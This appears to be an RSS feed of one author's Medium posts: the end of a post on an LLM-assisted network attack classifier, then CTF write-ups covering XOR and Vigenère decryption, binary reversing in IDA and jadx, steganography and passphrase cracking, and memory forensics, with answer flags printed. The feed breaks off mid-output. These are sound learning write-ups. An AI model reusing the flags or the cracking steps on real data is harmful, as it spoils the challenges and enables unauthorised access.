Wireshark/tcpdump, packet types) should I examine further to confirm or understand this flow better?<br>5.  Based on this classification, what are the **immediate next steps** for investigation or mitigation from a cybersecurity perspective?</pre><p>โดย Feature ที่เราป้อนให้ LLM จะเป็น feature ที่อยู่ใน Top 20 Feature importances ที่เราได้มีการกล่าวถึงไปใน Part Model Training โดยจะไม่ได้ใช้เป็นชื่อตรงๆ แต่ใช้เป็น Description ของ Feature ที่ได้นำมาจาก <a href="https://github.com/ahlashkari/CICFlowMeter/blob/master/ReadMe.txt">Repo</a> ของ CICFlowMeter เช่น “Fwd_Pkts_s” จะ prompt เป็น “Forward packets per second” รวมกับ Feature เฉพาะของแต่ละ Packet ได้แก่ Packet Index, Destination IP, Source IP, Destination Port, Source Port, Protocol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*EJUHWbi8W5hn7pwqUxUjjQ.png" /><figcaption>Feature Descriptions</figcaption></figure><h4>8.3 Try it yourself!</h4><p>ถ้าผู้อ่านอยากลองเล่นในตอนนี้จะมีสองทางคือหนึ่งเข้าไปรันโน๊ตบุ๊ค <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/blob/main/demo.ipynb">demo.ipynb</a> ใน github repo ของเราแล้วก็ทำตามที่เราเขียนไว้ในนั้นหรืออีกทางก็คือโหลด ไฟล์ zip ใน <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/releases/">github release</a> ของเรามารันแบบ local ได้เลย (แต่ต้องเป็น linux/wsl นะ)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*FgEIYsKuhhUFXysromEBvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*9ds5BUwTnguVb6gL_tbrOQ.png" /><figcaption>demo.ipynb</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_4eAfdlXtEuosDwIS72RQ.png" /><figcaption>github release</figcaption></figure><p>ทั้งนี้ถ้าใครมีฟีดแบ๊คอะไรสามารถติดต่อเราได้ทางอีเมลล์ที่เราแปะไว้ที่หน้า github ได้เลยนะส่วนคอนแทคอื่นๆ ไปหาเองแล้วกันนะจ๊ะ😘</p><h3>9. Possible Improvement</h3><ul><li>ทำ Feature engineering เพื่อเพิ่มให้โมเดลแม่นยำและมีประสิทธิภาพมากขึ้น</li><li>ปรับปรุง ui/ux และรายละเอียดของ deployment จากการ feedback และลองเล่นดูเรื่อยๆ</li><li>หาทาง Deploy ทำให้ support window แบบเล่นได้ถาวรไม่ต้องมานั่ง run notebook ซึ่งตอนนี้เล็ง hugging face space แบบที่ต้องนั่ง config Dockerfile เพื่อให้ลง library ได้จากตรงนั้น คิดว่าน่าจะทำได้</li><li>เจาะลึกข้อมูลที่โมเดลทายถูกผิดในแต่ละ Pcap file เพื่อดูว่าที่ทายผิดเพราะอะไรจะได้ปรับปรุงได้ตรงจุด มากกว่านี้</li><li>แก้ปัญหา Class PortScan ที่โมเดลทายไม่ถูกเลย ซึ่งอาจจะเป็นที่ Test Data ก็ได้ เพราะ Baseline ก็ทายไม่ถูกเองเช่นกัน หรือก็คือต้องลองดูข้อมูลที่นำมา Train และ เอกลักษณ์ของการโจมตีนี้ให้ละเอียดกว่านี้</li></ul><h3>10. Acknowledgement</h3><p>Mentor: ขอบคุณ พี่ชารินทร์ Charin Polpanumas และ พี่มะเฟือง Panthon Imemkamon ที่คอยให้คำปรึกษาทุกอาทิตย์แล้วก็คอยดันให้หนูคิดจะทำอะไรเจ๋งๆ จ๊าบๆ ตลอด 🔥🔥🔥</p><p>Teaching Assistant : ขอบคุณพี่เจน Jenta Wonglertsakul (<a href="https://medium.com/u/8bca371a60b1">MadNess_</a>) ที่อยู่ดึกคุยกันแล้วก็ช่วยคิด solution พร้อมช่วยเหลือตลอดตอนน้องมีปัญหา😭😭😭🙏🙏 + Emotional support</p><p>Special Thanks : Fifa (<a href="https://medium.com/u/399e1f432121">Pataradanai akkratch</a>) ที่ชวนมินให้มาสมัครโครงการนี้😎</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*PUBRxsvIPwBbGTQ8.png" /><figcaption>AI Builders — <strong>a program for kids who want to build good AI</strong></figcaption></figure><h3>References</h3><ul><li><a href="https://www.unb.ca/cic/datasets/ids-2017.html">IDS 2017 | Datasets | Research | Canadian Institute for Cybersecurity | UNB</a></li><li><a href="https://www.unb.ca/cic/datasets/ids-2018.html">IDS 2018 | Datasets | Research | Canadian Institute for Cybersecurity | UNB</a></li><li><a href="http://cicresearch.ca/CICDataset/CIC-IDS-2017/Dataset/">Index of /CICDataset/CIC-IDS-2017/Dataset</a></li><li><a href="https://www.kaggle.com/datasets/solarmainframe/ids-intrusion-csv">IDS 2018 Intrusion CSVs (CSE-CIC-IDS2018)</a></li><li><a href="https://www.geeksforgeeks.org/types-of-dos-attacks/">Types of DoS attacks - GeeksforGeeks</a></li><li><a href="https://huggingface.co/rdpahalavan/bert-network-packet-flow-header-payload">rdpahalavan/bert-network-packet-flow-header-payload · Hugging Face</a></li><li><a href="https://www.kaggle.com/datasets/daniaherzalla/tii-ssrc-23">TII-SSRC-23 Dataset</a></li><li><a href="https://research.unsw.edu.au/projects/toniot-datasets">The TON_IoT Datasets</a></li><li><a href="https://www.kaggle.com/datasets/mohamedamineferrag/edgeiiotset-cyber-security-dataset-of-iot-iiot">Edge-IIoTset Cyber Security Dataset of IoT &amp; IIoT</a></li><li><a href="https://www.kaggle.com/datasets/ymirsky/network-attack-dataset-kitsune">Kitsune Network Attack Dataset</a></li><li><a href="https://www.kaggle.com/datasets/exitium505/dos-goldeneye-and-hulk-pcaps">DoS GoldenEye &amp; Hulk Network Attack PCAPs</a></li><li><a href="https://aseados.ucd.ie/datasets/SDN/">Index of /datasets/SDN</a></li><li><a href="https://www.geeksforgeeks.org/what-are-the-advantages-and-disadvantages-of-random-forest/">What are the Advantages and Disadvantages of Random Forest? - GeeksforGeeks</a></li><li><a href="https://github.com/ahlashkari/CICFlowMeter/blob/master/ReadMe.txt">CICFlowMeter/ReadMe.txt at master · ahlashkari/CICFlowMeter</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8014e98f8d02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups SECplayground CyberSplash2025 CTF Event | MC4minta]]></title>
            <link>https://medium.com/@mc4minta/writeups-secplayground-cybersplash2025-ctf-event-mc4minta-650d1f7a8679?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/650d1f7a8679</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[secplaygroundcybersplash]]></category>
            <category><![CDATA[secplayground]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersplash2025]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Sat, 19 Apr 2025 10:39:30 GMT</pubDate>
            <atom:updated>2025-11-05T02:07:55.170Z</atom:updated>
            <content:encoded><![CDATA[<h3>Writeups SECplayground CyberSplash2025 CTF Event | Mc4minta</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wc-ujLTVAmsXdItc" /></figure><p>ไม่ได้ screenshot ไว้เลย เสียใจ 😓</p><p>Team: MMsBrainNotFound</p><p>Date: 18–19 April 2025 (9:00 am.)</p><h3>Problem list:</h3><ul><li>World War Encryption</li><li>The Paddle Case</li><li>What is it</li><li>The Hidden Class</li><li>The Vault</li><li>The Format</li><li>The Hidden Message #1</li><li>The Hidden Message #2</li><li>The Hidden Message #3</li></ul><h3>World War Encryption</h3><h4>Description</h4><blockquote>During the Cold War, a spy known only as “Shadow Fox” was transmitting secret messages to their handlers using a cipher resistant to simple frequency analysis. Before disappearing, they left behind an encrypted message along with a cryptic clue to decipher it.</blockquote><blockquote>“Our enemies whispered in code, but history unveiled their secrets. A name known to those who studied Cold War intelligence. My pattern repeats, yet I am stronger than a simple shift.”</blockquote><blockquote>Your mission is to recover the spy’s secret phrase before enemy intelligence cracks it.</blockquote><blockquote>(Flag format: CRYPTO{…..}; Example CRYPTO{GGEZ})</blockquote><pre>OLR TYAB MF QEYKXB{GZANL1AU_1337}</pre><p>จากประโยค “cipher resistant to simple frequency analysis” ก็เจอ <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">Vigenère cipher</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ka3Yb370cT3q5CP_ddPLrg.png" /></figure><p>ลองเอาคำใบ้ไปเข้า Chat มันก็แนะนำมาหลายอัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KethjG70uBCUuzPpebhtYg.png" /></figure><p>ลองอันแรก “Venona” ก็ออกเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*AP2EeZYLrze53MUzzjSj4A.png" /></figure><p>We got the flag:</p><p>CRYPTO{SMASH1NG_1337}</p><h3>The Paddle Case</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*EWrldy5WQDXoT-V7YFbt0w.png" /></figure><pre>Ciphertext 1 (Hex): 0bf6a1d8a8f043e6bb614b446751b7edd88dc5d7e8d35cdcff9b95d74e45bd1b<br>Ciphertext 2 (Hex): 0cdb87a8a2fd5be6e9674d0a6060a6fcc08edbc9cfd27b9fe88cbede1f48bb01<br>Known Plaintext 2: &quot;SECPlaygroundChallengeCryptoflag&quot;</pre><p>คิดว่าเป็นการ <a href="https://en.wikipedia.org/wiki/XOR_cipher">XOR </a>, ดังนั้นเราต้องรู้ key ก่อน โดยเราหา key ได้โดยการเอา Plaintext2 ไป XOR กับ Ciphertext2 ได้</p><p>แล้วค่อยเอา Key ที่ได้ไป XOR กับ Ciphertext1 เพื่อหา Plaintext1 ออกมา</p><pre>สมการ<br>key = c2 ^ p2<br>p1  = c1 ^ key <br>p1  = c1 ^ c2 ^ p2</pre><pre>c1 = &quot;0bf6a1d8a8f043e6bb614b446751b7edd88dc5d7e8d35cdcff9b95d74e45bd1b&quot;<br>c2 = &quot;0cdb87a8a2fd5be6e9674d0a6060a6fcc08edbc9cfd27b9fe88cbede1f48bb01&quot;<br>p2 = &quot;SECPlaygroundChallengeCryptoflag&quot;<br><br>c1_bytes = bytes.fromhex(c1)<br>c2_bytes = bytes.fromhex(c2)<br>p2_bytes = p2.encode()<br>p1_bytes = b&quot;&quot;<br><br>for i in range(len(c1_bytes)):<br>    result = c1_bytes[i] ^ c2_bytes[i] ^ p2_bytes[i]<br>    p1_bytes += bytes([result])<br><br>print(p1_bytes.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*uPo4-LJaqzMLnMDZcgFFZw.png" /></figure><p>พอรัน script ก็จะได้ flag ออกมา</p><p>We got the flag:</p><p>crypto{p@dd1ng_f7ag}</p><h3>What is it</h3><p>ได้ไฟล์อะไรก็ไม่รู้มาอันนึงเลยลองเอาไปโยนเข้า Magic ใน <a href="https://gchq.github.io/CyberChef/">Cyberchef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*plJCl6-Fuf9A7XLZKJ58eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7-TxAr6Z-UJgSTwu1l77Q.png" /></figure><p>ก็ไปเจอว่าจริงๆ มันเป็น File ELF ถ้า XOR ด้วย Key HEX = 39 ก็ลอง Download ออกมาแล้วลองรันดูก็จะเจอ flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*kRpchHzMHKphNMVuHjZx9Q.png" /></figure><p>We got the flag :</p><p>crypto{Dy1ng_m3ssaG3_1337}</p><h3>The Hidden Class</h3><p>เห็นเป็น java คิดอะไรไม่ออกเลยลองโยนเข้า <a href="https://github.com/skylot/jadx">jadx-gui</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*Fliv1vSYPF_fyzpRx5q1fQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-X7O_D8iTHodiAbhi-OFCQ.png" /></figure><p>จะเห็นตรงโปรแกรม Function KeyCheck()</p><pre>        cArr[0] = &#39;}&#39;;<br>        cArr[1] = &#39;n&#39;;<br>        cArr[2] = &#39;0&#39;;<br>        cArr[3] = &#39;1&#39;;<br>        cArr[4] = &#39;7&#39;;<br>        cArr[5] = &#39;a&#39;;<br>        cArr[6] = &#39;C&#39;;<br>        cArr[7] = &#39;!&#39;;<br>        cArr[8] = &#39;l&#39;;<br>        cArr[9] = &#39;p&#39;;<br>        cArr[10] = &#39;p&#39;;<br>        cArr[11] = &#39;4&#39;;<br>        cArr[12] = &#39;_&#39;;<br>        cArr[13] = &#39;A&#39;;<br>        cArr[14] = &#39;v&#39;;<br>        cArr[15] = &#39;a&#39;;<br>        cArr[16] = &#39;J&#39;;<br>        cArr[17] = &#39;{&#39;;<br>        cArr[18] = &#39;e&#39;;<br>        cArr[19] = &#39;r&#39;;</pre><p>เห็น flag ละแต่ขี้เกียจเอามาต่อกันเองเลยให้ chat ทำให้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*LtATayqLS26fl2BedH9E8Q.png" /></figure><p>We got the flag:</p><p>re{JarvA_4pp!Ca710n}</p><h3>The Vault</h3><p>ข้อนี้ไม่มีอะไรมาก strings | grep re{ ออกเลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*8ujxmgFXZq7H1SOBjw_nVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*cjSoAKQlZBC0J-j4xkeV5g.png" /></figure><p>We got the flag:</p><p>re{R3v3rs3_3ng1n33r1ng_m4st3r}</p><h3>The Format</h3><p>ข้อนี้ลอง strings ดูแล้วไม่ออก ก็โยนเข้า IDA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*ZXmOc_orHfZ7E7ZPFeK0HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_KTVnFgVw21ae_eDrV9F4Q.png" /></figure><p>เห็นตรงบรรทัดนี้</p><pre>sub_12B0(1, &quot;Correct! The flag is: %s\n&quot;, v3);</pre><p>ลองคลิกเข้าไปดูตรง sub_12B0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*uQ8FBtB7xDw-B2CFl_SGOg.png" /></figure><p>ก็จะเห็นว่า flag คือ byte_4010 มา XOR ด้วย key 0xAB (0xABu แล้วโปรแกรมแดงเลยตัด u ออก)</p><p>ก็คลิกไปดู byte_4010 ว่าเป็นยังไง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KW-f1PeHLN0l9fRalmpTHg.png" /></figure><p>โยนเข้า chat ให้มันเอาออกมาให้เหมือนเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKD-tc3_UCmdDYeLMMhhmw.png" /></figure><p>เขียน script ทำ XOR ก็จะได้ flag</p><pre>hex_bytes = bytes.fromhex(&quot;ffc3ce8bcdc7cacc8bc2d88bd9ced0fbeb9c9cced9c5f4cd9bd9c6ebdfd6&quot;)<br>flag = b&quot;&quot;<br>for i in range(len(hex_bytes)):<br>    result = hex_bytes[i] ^ 0xAB<br>    flag += bytes([result])<br><br>print(flag.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*Y_zoPySV5DyZ81IczFonlg.png" /></figure><p>We got the flag:</p><p>re{P@77ern_f0rm@t}</p><h3>The Hidden Message #1</h3><p>โยนเข้า IDA เหมือนเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*r1mJc0uEQW_aUVpOs5q9XQ.png" /></figure><p>เข้าไปดูตรง sub_4017B5 เพราะเหมือนเป็นตัว Check Flag ก็เจอ flag เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*yAlMRJjnFQ4uSxD2lCzeZA.png" /></figure><p>We got the flag:</p><p>re{R3v3rs3_3ng1n33r1ng_N0t_S7r1n9}</p><h3>The Hidden Message #2</h3><p>โยนเข้า IDA แล้วเข้าไปเช็ค function ที่เหมือนจะเป็น Check Flag เหมือนเดิม ซึ่งในข้อนี้คือ sub_4017B5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*lPPj-hkiz_VsEn_w6kGm0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*3FNWIXE37A4mV_haInWDxg.png" /></figure><p>ไปดูต่อที่ sub_4017F1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*-GfOoF5GAAf0JksFYpOH5g.png" /></figure><p>แล้วก็เข้าไปดูที่ sub_401862 กับ sub_4018A1 ก็เจอเจอส่วนของ flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*aWNIEIFUr2r0TgrOVW8VvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*AjVWeXQZVcZCDW5Lnf0LNA.png" /></figure><p>ลองเอามาต่อกันแล้วเติม re{ แล้วดันถูกก็เลยไม่ได้ทำต่อ</p><p>We got the flag:</p><p>re{Th3_S7ructur3_FlA9}</p><h3>The Hidden Message #3</h3><p>โยนเข้า IDA แล้วเข้าไปเช็ค function ที่เหมือนจะเป็น Check Flag เหมือนเดิม ซึ่งในข้อนี้คือ sub_40193A</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*QvPpXO_b1dKYJx59EqBGrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*PJrDI-kGLbZEMpUpor6Ejg.png" /></figure><p>ลองเปลี่ยน View ดู จะเห็น Binary แปลกๆ อยู่ใน off_4C50F0 กับ off_4C50F0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvdNm3RRtvI5v0nf4GwVRw.png" /></figure><p>คลิกเข้าไปดูเรื่อยๆ ก็จะเห็นชัดละ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*8N_9dRPogi98t8u86hHhNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0sJGayUXAoXbVMVzwjKfQ.png" /></figure><p>ลองเอามาต่อกันแล้วถอด Binary ก็จะได้ flagออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uO_UOztUe5_BzasrNVrcKg.png" /></figure><p>We got the flag:</p><p>re{1337_SPGR0unD}</p><p><a href="https://github.com/Mc4minta/">Mc4minta - Overview</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=650d1f7a8679" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups CTFriends2 | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/writeups-ctfriends2-mc4minta-01b68f5f5ed2?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/01b68f5f5ed2</guid>
            <category><![CDATA[ctfriends2]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[mc4minta]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 10:37:07 GMT</pubDate>
            <atom:updated>2025-04-15T10:37:07.903Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PNgexnI-RElvPx6OEl5xpQ.png" /></figure><p>Noob and Lazy version…</p><p>Date : 28 March, 4–6 April 2025</p><p># Problem list</p><ul><li>CH8_Secret Steg</li><li>CH9_Never Give Up</li><li>CH10_Hidden in the Deep</li><li>CH28_Johns_Forgotten_Memories#2</li><li>CH19_John_Forgotten_Memories</li><li>CH23_Corrupted_File</li><li>CH11_Revese64</li><li>CH13_The Forbidden Language</li><li>CH15_256 Cups of Tea</li><li>CH16_Head shoulders knees and toes</li><li>CH20_Bocchi Bocchi</li><li>CH24_Split Fiction</li><li>CH25_Chicken_Hard_Coded</li></ul><h3>CH8_Secret Steg [Forensic]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*5-JFdYh-Cu28zdVReJUtUg.png" /></figure><p>The problem gave us a picture, the problem name suggest “steg”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*aQ5uiRRTNPZHBYZvtONkHw.png" /></figure><p>So I use steghide to extract the embedded data</p><p>When passphrase is prompted just press enter (no passphrase)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*6m5uI82Gyb0KvQ_P0Hmw5Q.png" /></figure><p>the secret data will be extracted which contains the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*ZNY-IbQ8wJhkVes2SyUi7Q.png" /></figure><p>Base64 decode and reverse it with Cyberchef</p><p>we got the flag:</p><p>CTFr2{E4sy_St3gh1d3}</p><h3>CH9_Never Give Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*TRV_mkVEJp-RhooNtz5HBg.png" /></figure><p>We got a jpg file which is corrupted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*Ns5xfF5vg4CevXT1WjS9gA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*MSTWVv9oW81D31oGlN1Lkg.png" /></figure><p>I opened the file in hexedit and saw that the file signature is off</p><p>The jpg file signature bytes (the first four byte in this case)</p><p>should be “FF D8 FF E0” , but in this picture its “00 00 FF E0”</p><p>After editing the file signature to the right one (FF D8 FF E0) and we can open the .jpg file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*OxmVcOTyranLxPLwZH8EFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*Tqm3JlaE1cpyQIVylHquxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*5AuDV7ZrkBIx42y5ek24fA.png" /></figure><p>I found that there’s hidden data in this picture but doesn’t know the passphrase to extract it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*PQPoy1ZKdsfHcOd6AR_ybQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*mD3U-wMRHZK2Lpis_UZayg.png" /></figure><p>So I use stegseek to crack the passphrase then base 64 decode the output</p><p>We got the flag:</p><p>CTFr2{Y0U_F0und_P4ssw0rd_St3gh1d3}</p><h3>CH10_Hidden in the Deep</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*Rf1aFMrr6op6-VKvUd4HwQ.png" /></figure><p>The problem give as a .pcap file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBKy-C7E2kpd8jRJVj8Tlw.png" /></figure><p>Open it in wireshark</p><p>File &gt; Export Object &gt; HTTP &gt; Spinning_Cat.zip &gt; Save</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*frrXSXa8c6JUlsQt2N1r-Q.png" /></figure><p>I found this file called Spinning_Cat.zip and save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*VtX0Vi7IxsYwpBlsru7S_w.png" /></figure><p>After extracting it I got a .wav audio file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*3JQ4_vaAGC9zWqQid_IigQ.png" /></figure><p>I extract data using steghide with empty passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*JgK9TMBVKClneCwS43wrLA.png" /></figure><p>the extracted file “password.txt” suggest “DeepSound:mrrobot”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*p1ObjG1a0abqIzAk6m3Wpg.png" /></figure><p>I search for it and found this program that is used to hides secret data into audio files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*GB1Cwhd19t5a0nHi2m_xwA.png" /></figure><p>after importing the audio files I was promted for a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*j1Y8SJU3IBXC93PKAdXYnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*tdOwjbjyv9EnXIYdnFszzA.png" /></figure><p>I enter “mrrobot” as the password.txt file suggest and secret.txt is extracted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*rwCb3zhz4oRdBv5x2B33Ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UcAcoB8JC1komhINtfCw2g.png" /></figure><p>Base64 decode it</p><p>We got the flag:</p><p>CTFr2{oiia_MP3_St3g0_insid3}</p><h3>CH28_Johns_Forgotten_Memories#2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*vLazu5OMUazO5skAXkCTqg.png" /></figure><p>This problem give as a memory dump file so I have to use volatility</p><p>First I perform a windows.info to gather information</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2]<br>└─$ vol -f John_Forgotten_Memories2.raw windows.info<br>Volatility 3 Framework 2.11.0<br>Progress:  100.00               PDB scanning finished                        <br>Variable        Value<br><br>Kernel Base     0xf80002817000<br>DTB     0x187000<br>Symbols file:///home/mc4minta/.local/lib/python3.13/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz<br>Is64Bit True<br>IsPAE   False<br>layer_name      0 WindowsIntel32e<br>memory_layer    1 FileLayer<br>KdDebuggerDataBlock     0xf80002a080a0<br>NTBuildLab      7601.17514.amd64fre.win7sp1_rtm.<br>CSDVersion      1<br>KdVersionBlock  0xf80002a08068<br>Major/Minor     15.7601<br>MachineType     34404<br>KeNumberProcessors      1<br>SystemTime      2025-04-03 13:04:15+00:00<br>NtSystemRoot    C:\Windows<br>NtProductType   NtProductWinNt<br>NtMajorVersion  6<br>NtMinorVersion  1<br>PE MajorOperatingSystemVersion  6<br>PE MinorOperatingSystemVersion  1<br>PE Machine      34404<br>PE TimeDateStamp        Sat Nov 20 09:30:02 2010</pre><pre>NTBuildLab      7601.17514.amd64fre.win7sp1_rtm.</pre><p>According to the Build, volatility3 will not work So I have to use volatility2</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2]<br>└─$ git clone https://github.com/volatilityfoundation/volatility.git</pre><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2/volatility]<br>└─$ python2 vol.py --version<br>Volatility Foundation Volatility Framework 2.6.1</pre><p>Install volatility2 then perform imageinfo</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2/volatility]<br>└─$ python2 vol.py imageinfo -f ../John_Forgotten_Memories2.raw<br>          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418<br>                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)<br>                     AS Layer2 : FileAddressSpace (/home/mc4minta/Writeups-CTFriends2/for-john2/John_Forgotten_Memories2.raw)<br>                      PAE type : No PAE<br>                           DTB : 0x187000L<br>                          KDBG : 0xf80002a080a0L<br>          Number of Processors : 1<br>     Image Type (Service Pack) : 1<br>                KPCR for CPU 0 : 0xfffff80002a09d00L<br>             KUSER_SHARED_DATA : 0xfffff78000000000L<br>           Image date and time : 2025-04-03 13:04:15 UTC+0000<br>     Image local date and time : 2025-04-03 20:04:15 +0700</pre><pre>Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418</pre><p>Check the clipboard with the suggest profile got by imageinfo</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2/volatility]<br>└─$ python2 vol.py clipboard --profile=Win7SP1x64 -f ../John_Forgotten_Memories2.raw &gt; ../clipboard.txt<br>Volatility Foundation Volatility Framework 2.6.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RdlJoj0z_dVaIWSjH7EXQ.png" /></figure><p>Found this hex in clipboard decode it and will get a url</p><pre>73686f727475726c2e61742f4545493877</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*nT6fOYD4Xz1GVyJJ5d6BXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0c8LyweOdTjvnMBLR2VGmw.png" /></figure><p>Got some pokemon image, then i perform strings on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*MiMHbXpg4sbZ4nj0RG7Yog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*zHBqxCk6lccrKqHDSDv1Hw.png" /></figure><p>found a text about some key “1Pokemonmaster”</p><pre>key:1Pokemonmaster</pre><p>Then I perform a filescan</p><pre>┌──(mc4minta㉿vbox)-[~/Writeups-CTFriends2/for-john2/volatility]<br>└─$ python2 vol.py filescan --profile=Win7SP1x64 -f ../John_Forgotten_Memories2.raw &gt; filescan<br>Volatility Foundation Volatility Framework 2.6.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blzKnMj4MY1VlU9uK1TJEg.png" /></figure><p>Found this interesting looking file called miscellaneous[1].txt</p><p>with the offset 0x00000000bfa1a420</p><pre>0x00000000bfa1a420     16      0 -W-rwd \Device\HarddiskVolume1\Users\mingr\AppData\Local\Microsoft\Windows\Temporary Internet 